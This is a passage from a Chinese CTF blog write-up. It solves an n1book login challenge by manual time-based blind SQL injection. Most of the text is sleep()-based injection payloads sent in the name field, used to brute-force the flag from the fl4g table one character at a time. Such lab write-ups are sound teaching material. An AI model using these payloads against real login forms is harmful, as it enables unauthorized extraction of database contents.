name=admin' and if(ascii(substr((SELECT * from fl4g),20,1)) > 113,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),20,1)) > 114,sleep(1),0)#&pass=123 // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),20,1)) = 115,sleep(1),0)#&pass=123  // 有延迟

根据上述结果可以得知fl4g表中的第一行数据的第二十个字符的ASCII码为115。转换为字符s

组合为n1bok{login_sqli_is

继续猜测第二十一个字母的ASCII:

name=admin' and if(ascii(substr((SELECT * from fl4g),21,1)) > 110,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),21,1)) > 106,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),21,1)) > 95,sleep(1),0)#&pass=123 // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),21,1)) > 90,sleep(1),0)#&pass=123 // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),21,1)) > 93,sleep(1),0)#&pass=123 // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),21,1)) > 94,sleep(1),0)#&pass=123  // 有延迟

name=admin' and if(ascii(substr((SELECT * from fl4g),21,1)) = 95,sleep(1),0)#&pass=123  // 有延迟

根据上述结果可以得知fl4g表中的第一行数据的第二十一个字符的ASCII码为95。转换为字符_

组合n1bok{login_sqli_is_

继续猜测第二十二个字母的ASCII:

name=admin' and if(ascii(substr((SELECT * from fl4g),22,1)) > 100,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),22,1)) > 105,sleep(1),0)#&pass=123 // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),22,1)) > 110,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),22,1)) > 108,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),22,1)) > 109,sleep(1),0)#&pass=123  // 有延迟

name=admin' and if(ascii(substr((SELECT * from fl4g),22,1)) = 110,sleep(1),0)#&pass=123  // 有延迟

根据上述结果可以得知fl4g表中的第一行数据的第二十二个字符的ASCII码为110。转换为字符n

组合n1book{login_sqli_is_n

继续猜测第二十三个字母的ASCII:

name=admin' and if(ascii(substr((SELECT * from fl4g),23,1)) > 110,sleep(1),0)#&pass=123  // 无延迟 
name=admin' and if(ascii(substr((SELECT * from fl4g),23,1)) > 105,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),23,1)) > 100,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),23,1)) > 103,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),23,1)) > 104,sleep(1),0)#&pass=123  // 有延迟

name=admin' and if(ascii(substr((SELECT * from fl4g),23,1)) = 105,sleep(1),0)#&pass=123  // 有延迟

根据上述结果可以得知fl4g表中的第一行数据的第二十三个字符的ASCII码为105。转换为字符i

组合n1book{login_sqli_is_ni

继续猜测第二十四个字母的ASCII:


name=admin' and if(ascii(substr((SELECT * from fl4g),24,1)) > 100,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),24,1)) > 90,sleep(1),0)#&pass=123   // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),24,1)) > 95,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),24,1)) > 98,sleep(1),0)#&pass=123  // 有延迟

name=admin' and if(ascii(substr((SELECT * from fl4g),24,1)) = 99,sleep(1),0)#&pass=123  // 有延迟

根据上述结果可以得知fl4g表中的第一行数据的第二十四个字符的ASCII码为99。转换为字符为字母c

组合n1book{login_sqli_is_nic

继续猜测第二十五个字母的ASCII:

name=admin' and if(ascii(substr((SELECT * from fl4g),25,1)) > 99,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),25,1)) > 110,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),25,1)) > 105,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),25,1)) > 103,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),25,1)) > 101,sleep(1),0)#&pass=123
  // 无延迟

name=admin' and if(ascii(substr((SELECT * from fl4g),25,1)) = 101,sleep(1),0)#&pass=123  // 有延迟

根据上述结果可以得知fl4g表中的第一行数据的第二十五个字符的ASCII码为101。转换为字符为字母e

组合n1book{login_sqli_is_nice

继续猜测第二十六个字母的ASCII:

name=admin' and if(ascii(substr((SELECT * from fl4g),26,1)) > 120,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),26,1)) > 125,sleep(1),0)#&pass=123  // 无延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),26,1)) > 123,sleep(1),0)#&pass=123  // 有延迟
name=admin' and if(ascii(substr((SELECT * from fl4g),26,1)) > 124,sleep(1),0)#&pass=123  // 有延迟

name=admin' and if(ascii(substr((SELECT * from fl4g),26,1)) = 125,sleep(1),0)#&pass=123  // 有延迟

根据上述结果可以得知fl4g表中的第一行数据的第二十六个字符的ASCII码为125。转换为字符}

组合得到flag:

n1book{login_sqli_is_nice}

最后想说的:

能布尔注入的时候,就不要时间盲注。太慢了哈哈哈哈哈哈。本来想写脚本的。但是还是想自己手动注入的。。这也算是一种锻炼了吧。不过flag拿到了。可真高兴。

附:blog是边做题边写的。如果文章中有错误的文字。请联系我邮箱:admin@x1ong.fun

三、脚本注入

后续补充

本文作者: x1ong
免责声明:本博客所有文章仅用于学习交流
转载声明:文章为作者原创文章 转载请注明来源
本文链接: https://www.x1ong.fun/n1book/11845.html
上一篇
下一篇